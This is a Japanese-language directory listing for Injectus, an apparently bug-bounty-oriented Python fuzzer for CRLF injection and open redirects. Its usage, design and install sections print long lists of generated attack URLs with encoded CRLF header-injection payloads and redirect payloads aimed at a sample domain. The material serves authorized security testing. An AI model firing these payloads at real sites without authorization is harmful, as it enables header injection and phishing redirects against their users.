Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Injectus — CRLFとオープンリダイレクトファザー | Kitploit
ツール/GitHubGitHub/dubs3c/injectus
偵察脆弱性スキャナー情報収集ウェブセキュリティファジングペネトレーションテストArchived
GitHubdubs3c/injectus

Injectus

CRLFとオープンリダイレクトファザー

リポジトリを見る
113314年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Injectus

シンプルなPythonツール。URLリストをスキャンし、CRLFインジェクションとオープンリダイレクトのペイロードを試行します。

root@kitploit:~

    ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ ·
    ██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  █▪██▌▐█ ▀.
    ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄
    ▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█
    ▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀  ▀▀▀  ▀▀▀▀
               ~ BOUNTYSTRIKE ~

usage: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
                [-d DELAY] [-c] [-op]

CRLFおよびオープンリダイレクトファザー。@dubs3c 作。

optional arguments:
  -h, --help            ヘルプメッセージを表示して終了
  -f FILE, --file FILE  URLを含むファイル
  -u URL, --url URL     テストする単一のURL
  -r, --no-request      攻撃リストの作成のみ行い、リクエストは実行しない
  -w WORKERS, --workers WORKERS
                        asyncioワーカーの数(デフォルト10)
  -t TIMEOUT, --timeout TIMEOUT
                        HTTPリクエストのタイムアウト(デフォルト6秒)
  -d DELAY, --delay DELAY
                        リクエスト間の遅延(デフォルト1秒)
  -c, --crlf            CRLF攻撃のみ実行
  -op, --openredirect   オープンリダイレクト攻撃のみ実行

動機

自身のバグバウンティパイプライン(https://github.com/BountyStrike/Bountystrike-sh)に組み込める、シンプルなCRLF/オープンリダイレクトスキャナが必要だった。要件を満たすツールが見つからなかったため、Injectusを作成した。他のツールよりもうまく動作するかどうかを試す、少し実験的なプロジェクトである。

設計

以下のURLがあるとする:

root@kitploit:~
https://dubell.io/?param1=value1&url=value2&param3=value3

CRLF攻撃の場合、Injectusは各パラメータの値にすべてのペイロードを1つずつ挿入し、それをすべてのパラメータに対して繰り返す。例えば、上記のURLから以下のリストが生成される:

root@kitploit:~
https://dubell.io/?param1=%%0a0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2&param3=value3

https://dubell.io/?param1=value1&url=%%0a0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike&param3=value3

https://dubell.io/?param1=value1&url=value2&param3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%u000abounty:strike

ご覧のように、すべてのCRLFペイロードが最初のパラメータの値に挿入される。ループが完了すると、Injectusはすべてのペイロードを2番目のパラメータに挿入し、以下同様に続ける。すべてのパラメータに挿入が完了すると、リストは完成する。

クエリパラメータがない場合、Injectusは各ペイロードをURLの末尾に単純に追加する:

root@kitploit:~
https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike

オープンリダイレクトペイロードを注入する場合、Injectusはurlのような典型的なリダイレクトキーワードを含むクエリ/パスパラメータが存在する場合にのみペイロードを注入する。以下のURL https://dubell.io/?param1=value1&url=dashboard&param3=value3 への注入:

root@kitploit:~
https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3

URLにクエリパラメータurlが含まれているため、Injectusはそのパラメータにペイロードを注入する。

パスパラメータを使用する例。元のURLは https://dubell.io/some/path/that/redirect/dashboard:

root@kitploit:~
https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io

以前と同様に、クエリパラメータもパスパラメータも見つからない場合、Injectusは各ペイロードをURLの末尾に単純に追加する:

root@kitploit:~
https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io

インストール

root@kitploit:~
pip3.7 install -r requirements.txt --user

コントリビューション

フィードバックやアイデアは大歓迎です!何かを改善したい場合は、プルリクエストを作成してください!

  1. フォークする!
  2. 機能ブランチを作成: git checkout -b my-new-feature
  3. 事前コミットチェックを設定: pre-commit install
  4. 変更をコミット: git commit -am 'Add some feature'
  5. ブランチにプッシュ: git push origin my-new-feature
  6. プルリクエストを送信 :D
ツールをダウンロード